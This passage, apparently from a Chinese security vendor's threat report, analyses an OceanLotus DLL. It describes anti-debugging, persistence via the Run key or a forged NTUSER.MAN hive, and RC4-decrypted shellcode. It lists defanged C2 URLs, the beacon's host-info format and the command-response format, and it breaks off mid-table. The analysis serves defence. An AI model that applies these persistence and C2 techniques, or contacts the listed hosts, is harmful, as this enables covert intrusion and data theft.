data-ratio="0.7578692493946732" data-s="300,640" data-type="png" data-w="826" type="block" data-imgfileid="100025071" src="https://wechat2rss.xlab.app/img-proxy/?k=b3179c34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLa8t33SqqJb8z7h6Gt6Itj1TkWWA1w79QagDW3y3bswQVuWLnQOZgPFLgVaj0eFxgxa3IlicicjictibmE0tF7lL4Q36ycEcX1BJs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">mglobal.dll文件的具体信息如下</span></p><table style="border:none;border-collapse:collapse;mso-table-layout-alt:fixed;mso-border-top-alt:solid windowtext 0.5pt;mso-border-left-alt:solid windowtext 0.5pt;mso-border-bottom-alt:solid windowtext 0.5pt;mso-border-right-alt:solid windowtext 0.5pt;width:546px;mso-padding-alt:0pt 5.4pt 0pt 5.4pt;"><tbody><tr><td data-colwidth="104" width="104" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:150%;" data-nest-level="6"><span style="font-size:14.0pt;line-height:150%;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">MD5</span></span></p></td><td data-colwidth="442" width="378" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:150%;" data-nest-level="6"><span style="font-size:14.0pt;line-height:150%;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">c2d6795881b2444cc08e846e8fdb7d78</span></span></p></td></tr><tr><td data-colwidth="104" width="104" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:150%;" data-nest-level="6"><span style="font-size:14.0pt;line-height:150%;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">文件名称</span></span></p></td><td data-colwidth="442" width="378" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:150%;" data-nest-level="6"><span style="font-size:14.0pt;line-height:150%;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;mso-font-kerning:0.0pt;" data-nest-level="7"><span leaf="" data-nest-level="8">mglobal.dll</span></span></p></td></tr><tr><td data-colwidth="104" width="104" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:150%;" data-nest-level="6"><span style="font-size:14.0pt;line-height:150%;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">文件大小</span></span></p></td><td data-colwidth="442" width="378" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:150%;" data-nest-level="6"><span style="font-size:14.0pt;line-height:150%;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">1.03 MB (1,090,048 字节)</span></span></p></td></tr><tr><td data-colwidth="104" width="104" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:150%;" data-nest-level="6"><span style="font-size:14.0pt;line-height:150%;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">编译时间</span></span></p></td><td data-colwidth="442" width="378" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:150%;" data-nest-level="6"><span style="font-size:14.0pt;line-height:150%;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">2026-06-03 17:06:33</span></span></p></td></tr></tbody></table><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">该dll样本具备较完善的反调试能力，能够检测用户态调试器、内核调试器、硬件断点以及异常时间行为等多种分析环境特征。样本通过检查系统和进程状态、监控硬件调试寄存器，并结合时间差校验来识别调试行为。一旦发现异常就触发退出执行，以阻碍安全人员对样本进行动态分析。</span><o:page data-nest-level="3"></o:page></p><p style="text-align:center;line-height:150%;" data-nest-level="2"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;" data-nest-level="3"><span leaf="" data-nest-level="4"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.48637602179836514" data-w="734" style="width:589.6099853515625px;height:286.739990234375px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d5ef7fea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKHW5tL0XeDiadYzuMpcmFnRkf1iat5ib3cYKQEJdhpvIMUMp7V7zvUbl2AnmoOLJquUMIsibv2bn8EB8V7DsT3p3s51bK3P8buPao%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">接着开始通过打开服务控制管理器检测主动防御是否存在，根据结果执行不同的持久化流程。</span></p><p style="text-align:center;line-height:150%;" data-nest-level="2"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;" data-nest-level="3"><span leaf="" data-nest-level="4"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.21910112359550563" data-w="534" style="width:533.9400024414062px;height:116.989990234375px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d2b0510f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXIl9CkiaSbag485gT0edetKLHmE5vAkhZM2bfOicibCVKNj34iaHO4vFKEBYFrHJiaymrUaoRNLpmiaVD2khtJ3ImSsqSNBwQfVjfRoc%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: left;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">在没有主动防御（如未安装360安全软件）的情况下，可直接调用 API 函数操作注册表，向 SOFTWARE\Microsoft\Windows\CurrentVersion\Run 键写入 \Appdata\Local\Billfish\Analyzer.exe，以此实现持久化。</span><o:page data-nest-level="3"></o:page></p><p style="text-align:center;line-height:150%;" data-nest-level="2"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;" data-nest-level="3"><span leaf="" data-nest-level="4"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6730486008836525" data-w="679" style="width:508.489990234375px;height:342.2699890136719px;" src="https://wechat2rss.xlab.app/img-proxy/?k=4b77a12e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLaYbjamw4ldQudf5ZcXMSia8SHibeQ5bROZ8KBE2Ws8SPz0JNKG7LNQNc30r23pgjK1Qx2VGvXfQl9ic3DFedicuEAj0KoSwjBM8A%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">若安装了360软件，就先判断NTUSER.MAN是否存在。</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">NTUSER.MAN是</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">Windows的强制用户配置文件，</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">该文件是存储HKEY_CURRENT_USER注册表配置单元的二进制文件，开机便会按照文件注册表设置（如Run、RunOnce）进行启动，可用于实现持久化。</span></p><p style="text-align:center;line-height:150%;" data-nest-level="2"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;" data-nest-level="3"><span leaf="" data-nest-level="4"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.46366782006920415" data-w="578" style="width:578.010009765625px;height:268.07000732421875px;" src="https://wechat2rss.xlab.app/img-proxy/?k=4ccc9865&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLZPcAVLzxgqQAYNYQ2LDHWstXcJD28Te1mhbbgKlZc9iayupJDRsVKPT9ps0YUYicvK1AYf8UZZL22oGvyHNicl93Jn3H3eeWRc0%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">若不存在NTUSER.MAN，就执行reg export命令导出HKCU注册表分支到临时文件，即&#34;C:\\Users\\xxx\\AppData\\Local\\Temp\\reg&#34;，随后修改该导出文件,在 \Microsoft\Windows\CurrentVersion\Run]节下插入恶意启动项。然后使用工具将reg文件进行转换成NTUSER.MAN。具体实现方式是读取同目录下的userinit.db，利用RC4进行解密成shellcode再执行。</span><o:page data-nest-level="3"></o:page></p><p style="text-align:center;line-height:150%;" data-nest-level="2"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;" data-nest-level="3"><span leaf="" data-nest-level="4"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.042158516020236" data-w="593" style="width:483.0099792480469px;height:503.3799743652344px;" src="https://wechat2rss.xlab.app/img-proxy/?k=4f7debf5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKS4svrOpPKwDNCGH6dRuj7RT2AcYYKaRem9W43Q4Pm9v2UCqRuZg4hMoxuWRrgJ2VRhxesAHn2VHxJPhhSdnIbtNPFzPibOd6Y%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">解密成shellcode如下所示：</span><o:page data-nest-level="3"></o:page></p><p style="text-align:center;line-height:150%;" data-nest-level="2"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;" data-nest-level="3"><span leaf="" data-nest-level="4"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6795224977043158" data-w="1089" style="width:553.2100219726562px;height:375.94000244140625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=313f12c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKe2HarTiauSAyic5LnXoumBy1VlVkbwuLyvYKy5vuBxMfm2GasFStlGBd6ic7UcsfLZZPdx7Aic2vsyCgObiaOEuibkn8XBbDBmR4JA%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">shellcode在内存中层层加载释放开源工具HiveSwarming.exe，并执行参数&#34;HiveSwarming.exe --from reg --to hive”。该工具可无需管理员权限将生成的注册表转化为二进制的注册表配置单元（hive）文件，即NTUSER.MAN，该文件是强配置文件，用户登录系统时就会优先加载。</span></p><p style="text-align:center;line-height:150%;word-break:break-all;" data-nest-level="2"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;" data-nest-level="3"><span leaf="" data-nest-level="4"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5262636273538157" data-w="1009" style="width:579.3699951171875px;height:304.8800048828125px;" src="https://wechat2rss.xlab.app/img-proxy/?k=56923cf7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJfl5d50unOzTy8bkF98IJcZXzAjU23xYmuTica5icJVWasTO0YHQmzctaOBwnfKCDObyqzG6lpIV1rV5wrTsugHjCJVnXcpVDTA%2F640%3Fwx_fmt%3Dpng"/></span></span><o:page data-nest-level="3"></o:page></p><h2 style="" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">3.</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">攻击组件分析</span></span></h2><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">完成持久化后，接着读取unins000.dat通过base64解码+RC4解密生成恶意载荷shellcode。</span></p><p style="text-align:center;line-height:150%;" data-nest-level="2"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;" data-nest-level="3"><span leaf="" data-nest-level="4"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.1921487603305785" data-w="484" style="width:378.73004150390625px;height:451.5px;" src="https://wechat2rss.xlab.app/img-proxy/?k=2bf335fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLHWiaHIqy4ZRACv1y54Od377f3L7F8aYN939XtO4ZRk4NK0zBp80iaV6nbibr7RFTtZSfPxGuKUh6A1Dic4jvMelicl88BdmuEI0Eo%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">解密过程如下所示：</span><o:page data-nest-level="3"></o:page></p><p style="text-align:center;line-height:150%;" data-nest-level="2"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;" data-nest-level="3"><span leaf="" data-nest-level="4"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.729106628242075" data-w="1041" style="width:589.6099853515625px;height:429.8699951171875px;" src="https://wechat2rss.xlab.app/img-proxy/?k=83961e4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIdicszBibsxOuo8LmXQzCewYO2svCaUfI8t2xHialhkzPK8lzKVGG0lqEhibgdsc1UorZOcCUataAtCuXw0G9CUJGMibEkGuN0c5Dk%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">shellcode在内存中继续解密并直接跳转加载海莲花组织shellcode化的特马，最后载荷使用MinGW-w64进行编译，所有敏感字符串用栈字符串隐藏以绕过静态提取，API函数均通过动态哈希解析，执行时先初始化构造默认配置，包括User-Agent，C2 URL列表。其中C2地址有两个，https[:]//erp.manitech.ch/api/ui.php和备用地址https[:]//agoras.zapto.org/game/metroid/prime.php。</span></p><p style="text-align:center;line-height:150%;" data-nest-level="2"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;" data-nest-level="3"><span leaf="" data-nest-level="4"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.34291799787007454" data-w="939" style="width:589.6099853515625px;height:202.20001220703125px;" src="https://wechat2rss.xlab.app/img-proxy/?k=4677029a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJ4lxCB7IklulPer3rSicDPGOhCqVO8IXCvNKS3jfcXzGax4PoKof1xWbNN5HBDhZkFibZ3OSGWu0CLHLGxMdnODoMCQ2icq7q0Xw%2F640%3Fwx_fmt%3Dpng"/></span></span><o:page data-nest-level="3"></o:page></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">接着初始化网络环境设置代理、超时、设置重试和keepalive等。</span></p><p style="text-align:center;line-height:150%;" data-nest-level="2"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;" data-nest-level="3"><span leaf="" data-nest-level="4"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6928783382789317" data-w="674" style="width:474.94000244140625px;height:329.07000732421875px;" src="https://wechat2rss.xlab.app/img-proxy/?k=a751ad31&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKLic145rqpdln89SMuibMJunaicu7TuRTd9Book23EoKKe2jPMHXuZTrEX8Vp6Wce0ZlurttJUx2ex9F21bQlTWnMa0UUw9qXX5Y%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">初始化完成后收集主机信息包括计算机名、用户名、操作系统类型、进程名、版本/标志，组ID以及复合主机标志等按照key=value格式进行报文封装并用Post上传，具体字段如下：</span></p><p style="margin-bottom:7.8pt;mso-para-margin-bottom:0.5gd;text-align:center;text-indent:21.0pt;line-height:150%;" data-nest-level="2"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;" data-nest-level="3"><span leaf="" data-nest-level="4"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0421455938697317" data-w="522" style="width:386.510009765625px;height:402.79998779296875px;" src="https://wechat2rss.xlab.app/img-proxy/?k=94c99af8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJtbuOAQ2icAMkCrExUrYeH6xPZq2eZ2zdaQfN1YrLKd0hvmwicaOPKGg9tGXxFb5fYuwejBb6icGwNibXWspaIQGqZicCOAD4338CI%2F640%3Fwx_fmt%3Dpng"/></span></span><o:page data-nest-level="3"></o:page></p><table style="margin-left: 0.0;border: none;border-collapse: collapse;mso-border-top-alt: solid windowtext 0.5pt;mso-border-left-alt: solid windowtext 0.5pt;mso-border-bottom-alt: solid windowtext 0.5pt;mso-border-right-alt: solid windowtext 0.5pt;mso-padding-alt: 0pt 0pt 0pt 0pt;width: 100%;"><tbody><tr><td data-colwidth="553" width="553" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;"><p style="margin-top: 0px;" data-nest-level="6"><span style="font-size: 12pt;font-family: 仿宋;font-variant: normal;text-transform: none;" data-nest-level="7"><span leaf="" data-nest-level="8">c=</span><computername data-nest-level="8"><span leaf="" data-nest-level="9">;u=</span><username data-nest-level="9"><span leaf="" data-nest-level="10">;o=</span><windows data-nest-level="10"><span leaf="" data-nest-level="11">;p=&lt;1&gt;;a=&lt;1&gt;;b=&lt;2&gt;;e=&lt;1&gt;;v=&lt;3&gt;;g=&lt;21663&gt;;s=</span></windows></username></computername></span></p></td></tr></tbody></table><p style="margin-top:7.8pt;mso-para-margin-top:0.5gd;" data-nest-level="2"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;" data-nest-level="3"><span leaf="" data-nest-level="4"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2883116883116883" data-w="770" style="width:553.739990234375px;height:159.5900115966797px;" src="https://wechat2rss.xlab.app/img-proxy/?k=fd63d81c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXK48HT52nEz6Oibs6EWwE5zbbnSVOZTplx3X2fxjRfS9z9jMO0vlCJx8SKdjFgnv4Pxf4Id8OF50qPjONT9MVRXzBIu0U6CUfXI%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">然后等待服务器响应，响应体由命令令牌+参数组成。</span></p><table style="margin-left: 0.0;border: none;border-collapse: collapse;mso-border-top-alt: solid windowtext 0.5pt;mso-border-left-alt: solid windowtext 0.5pt;mso-border-bottom-alt: solid windowtext 0.5pt;mso-border-right-alt: solid windowtext 0.5pt;mso-padding-alt: 0pt 5.4pt 0pt 5.4pt;width: 100%;"><tbody><tr><td data-colwidth="553" width="553" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p data-nest-level="6"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" data-mpa-action-id="mr1iciery12" data-pm-slice="0 0 []" data-nest-level="7"><span leaf="" mpa-font-style="mr1icmcdlph" style="font-size: 16px;" data-mpa-action-id="mr1icmcl20c9" data-pm-slice="0 0 []" data-nest-level="8">cid=</span><span leaf="" mpa-font-style="mr1iciei10yl" style="font-size: 16px;" data-nest-level="8">&lt;命令ID&gt;;f=&lt;类型标志&gt;;s=&lt;状态码 200|400&gt;;dt=</span><span leaf="" mpa-font-style="mr1icpvm16vo" style="font-size: 16px;" data-mpa-action-id="mr1icpvtika" data-pm-slice="0 0 []" data-nest-level="8">&lt;数据载荷&gt;</span></span></p></td></tr></tbody></table><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">程序根据响应执行指令或更新配置，其中配置项支持修改 User-Agent、Proxy、Headers、URL 等字段，并按指定格式回显。通过这种方式，可快速切换被控端所连接的远程服务器地址，从而避免前期使用的 C2 被提前发现或封禁。</span></p><table style="margin-left: 0.0;border: none;border-collapse: collapse;mso-border-top-alt: solid windowtext 0.5pt;mso-border-left-alt: solid windowtext 0.5pt;mso-border-bottom-alt: solid windowtext 0.5pt;mso-border-right-alt: solid windowtext 